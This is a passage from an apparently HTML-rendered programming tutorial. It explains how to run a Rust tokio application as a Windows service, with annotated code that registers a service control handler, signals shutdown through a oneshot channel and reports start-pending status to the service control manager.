&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run_service&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// log error (e.g. to Windows Event Log)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="service-initialization"&gt;Service initialization&lt;/h2&gt;
&lt;p&gt;In our &lt;code&gt;run_service()&lt;/code&gt;, we are going to do the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a oneshot channel to be able to signal a shutdown and initiate a token cancellation in our application when we receive a STOP from the service control manager (SCM)&lt;/li&gt;
&lt;li&gt;Register our service control handler code to define what should happen for which control event&lt;/li&gt;
&lt;li&gt;Set the service state from start pending to running&lt;/li&gt;
&lt;li&gt;Create the tokio runtime&lt;/li&gt;
&lt;li&gt;Create a cancellation token to be able to cancel the application&amp;rsquo;s tasks on shutdown&lt;/li&gt;
&lt;li&gt;Spawn a background task to receive and handle our shutdown signal&lt;/li&gt;
&lt;li&gt;Eventually run our app with &lt;code&gt;run_app()&lt;/code&gt;, just like in the console mode case mentioned in the beginning&lt;/li&gt;
&lt;li&gt;Finally, once our app has finished, set the service state to stopped again&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the code is easier to follow with inline comments, I&amp;rsquo;ve annotated &lt;code&gt;run_service&lt;/code&gt; below rather than describing it separately. I also mentioned a few things that could be improved when doing this for a production application.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Main service logic for registration of SCM handler code (for
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// handling stop events from SCM), to signal to SCM that we&amp;#39;re
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// starting/running/stopping, and eventually running the app within the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// tokio runtime.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;run_service&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;windows_service&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// oneshot channel to be able to receive stop requests, should the SCM
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// control handler send one.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The transmitter part goes into the control handler closure, the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// receiver goes into our own background tasks which handles the token
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// cancellation and setting of the stop pending state.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_rx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oneshot&lt;/span&gt;::&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Mutex&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Register service control handler
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// This wraps RegisterServiceCtrlHandlerExW – so we tell SCM to call
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// the following closure whenever it needs to signal a control command
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// to us.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// The closure runs in a separate thread.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Since register() gives us a status handle, this must be called
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// before we can set a status (start pending, etc.)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// SERVICE_NAME is required here again, as multiple services could
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// potentially share the same binary (not in our case, but part of API).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_control_handler&lt;/span&gt;::&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SERVICE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;control_event&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;control_event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControl&lt;/span&gt;::&lt;span class="n"&gt;Interrogate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Mandatory so SCM can check if the service is still alive
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// and responding
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControlHandlerResult&lt;/span&gt;::&lt;span class="n"&gt;NoError&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControl&lt;/span&gt;::&lt;span class="n"&gt;Stop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// SCM (or a user through SCM) has requested a stop of the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// service. Use oneshot transmitter to signal a shutdown to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// our app (in case it hasn&amp;#39;t exited yet, i.e. receiver is
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// still there).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// We use the channel here and not the cancellation token
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// directly as we don&amp;#39;t have the status handle yet and make
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// it a little easier.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shutdown_tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;unwrap&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;take&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(());&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControlHandlerResult&lt;/span&gt;::&lt;span class="n"&gt;NoError&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// For any other control event we just tell SCM that we can&amp;#39;t
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// handle it.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ServiceControlHandlerResult&lt;/span&gt;::&lt;span class="n"&gt;NotImplemented&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Tell SCM that we&amp;#39;ve received the start request
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// This is technically not necessary since we don&amp;#39;t have an
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// involved/long-lasting setup logic, so we could just go straight into
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Running, and don&amp;#39;t set StartPending with a wait_hint. I added it for
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// completeness.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status_handle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_service_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ServiceStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// SERVICE_WIN32_OWN_PROCESS, i.e. we run our own non-shared
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// process
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Starting up... (the new state of the service)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;StartPending&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Accept no control during startup
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// No error
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Progress checkpoint for SCM (only relevant if we would have a
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// multi-step initialization and want to report progress)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// How long SCM should wait before considering the service as hung
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;from_secs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Only used for shared processes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Now tell SCM that we&amp;#39;re ready
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// (ideally, you would have validated your initialization at this point,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// however, for a cross-platform app, you would likely need to
